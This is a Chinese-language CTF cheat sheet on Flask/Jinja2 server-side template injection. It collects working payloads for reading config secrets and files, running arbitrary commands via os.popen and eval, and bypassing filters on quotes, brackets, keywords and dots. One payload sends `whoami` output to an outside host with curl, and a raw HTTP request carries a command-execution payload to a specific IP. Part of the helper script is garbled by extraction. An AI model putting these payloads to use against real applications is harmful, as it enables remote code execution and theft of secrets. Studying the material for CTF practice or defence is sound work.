魔术方法
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部全局变量 与 funcglobals 等价 base 和 _mro 都是用来寻找基类的。
读取config
{{config}} 可以获取当前设置,如果题目是这样的: app.config [‘FLAG’] = os.environ.pop(’FLAG’)
直接读取
{{config['FLAG']}} 或者 {{config.FLAG}}
self读取
{{self.__dict__._TemplateReference__context.config}}
魔术方法读取
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
全局变量(函数)读取
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
从其他全局对象的属性中查找 ```python import flask import os from flask import request from flask import g from flask import config
app = flask.Flask(name) app.config[‘FLAG’] = ‘secret’
def search(obj, max_depth): visited_clss = [] visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
@app.route(‘/‘) def index(): return open(file).read()
@app.route(‘/shrine/
if name == ‘main‘: app.run(debug=True)
运行此脚本,可以得到一段路径
```python
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']
因为脚本中是以request对象作为基础搜索的,所以将obj改为request之后,即可访问到config。
直接读取文件
- 随便找一个内置类对象用
__class__
拿到他所对应的类 - 用
__bases__
拿到基类(<class 'object'>
) - 用
__subclasses__()
拿到子类列表 - 在子类列表中直接寻找可以利用的类
payload:
().__class__.__base__.__subclasses__()
().__class__.__bases__[0].__subclasses__()
可以看到列表里面有一坨,这里只看file对象。
[...,<type 'file'>, ...]
查找file
位置。
#coding:utf-8
search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print num
num += 1
<type 'file'>
在第40位。().__class__.__bases__[0].__subclasses__()[40]
用dir
来看看内置的方法
dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']
所以最终的payload是
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()
执行任意命令
其实就是上一个继续往下走,通过__init__.__globals__
找到包含os的类。
#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)
"""
payload:
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
builtins执行任意命令
就是把第二种要找的模块从os改为__builtins__
#coding:utf-8
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
<class '_frozen_importlib._ModuleLock'> 64
#省略一堆
"""
一般内置函数中是有eval
或exec
之类的函数,所以构造payload:
python3:
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
python2:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
执行命令无回显(回显为0或-1)
os.system():该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
所以我们应该使用其他函数来执行命令。
- os.popen()
用法:os.popen(command[,mode[,bufsize]])
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag','r').read()")}}
Bypass
过滤引号
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
第一个""
的作用是引出基类,使用[]
替代即可。
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
第二个""
是为了取得字典中的value,这里我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引号都可以使用该方法进行绕过。
还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。
首先fuzz一下chr()函数在哪:
payload:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接着尝试使用chr尝试绕过后续所有的引号:
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
过滤中括号
回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals["os"]
可以替换globals.os
。
所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem
等数组自带方法。
不过还是建议用getitem
,因为pop会破坏数组的结构。
a[0]
与a.getitem(0)
的效果是一样的,所以上述payload可以用此来绕过:
{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
过滤小括号
需要注意的一点是,如果题目过滤了小括号,那么我们就无法执行任何函数了,只能获取一些敏感信息比如题目中的config。
因为如果要执行函数就必须使用小括号来传参,目前我还没找到能够代替小括号进行传参的办法。
过滤关键字
主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。
使用中括号的payload:
{{""["__cla"+"ss__"]}}
不使用中括号的payload:
{{"".__getattribute__("__cla"+"ss__")}}
这里主要使用了getattribute来获取字典中的value,参数为key值。
第二种绕过过滤关键字的办法之前也提到了,即使用request对象:
{{"".__getattribute__(request.args.a)}}&a=__class__
第三种绕过关键字过滤的办法即使用str原生函数:
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
以上即为str的原生函数,我们可以使用decode、replace等来绕过所过滤的关键字。
模块阉割
在比赛环境中,经常会阉割掉一些内置函数,我们可以尝试使用reload来重载。
在Python2中,reload是内置函数,而在Python3中,reload则为imp module下的函数,使用方法:
from imp import reload
reload(os).popen("whoami").read()
在比赛场景中我们一般是不能直接reload(os)的,因为可能当前类并没有import os。
所以一般都是reload(__builtins__)
,这时可以重新载入builtins,此时builtins中被删除的比如eval、import等就又都回来了。
reload()主要用于沙盒环境中,比如直接给你提供了一个shell的环境,SSTI中我还没有成功使用过reload()。
过滤{{}}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
过滤点号
在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。
"".__class__等价于""["__class__"]
利用上述方式,可以绕过点号的过滤
POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1
Host: 114.116.44.23:58470
Content-Length: 190
Accept: */*
Origin: http://114.116.44.23:58470
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://114.116.44.23:58470/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
nickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
参考
CTF引出对Python模板注入的思考 模板设计者文档 Python文档 SSTI/沙盒逃逸详细总结 用python继承链搞事情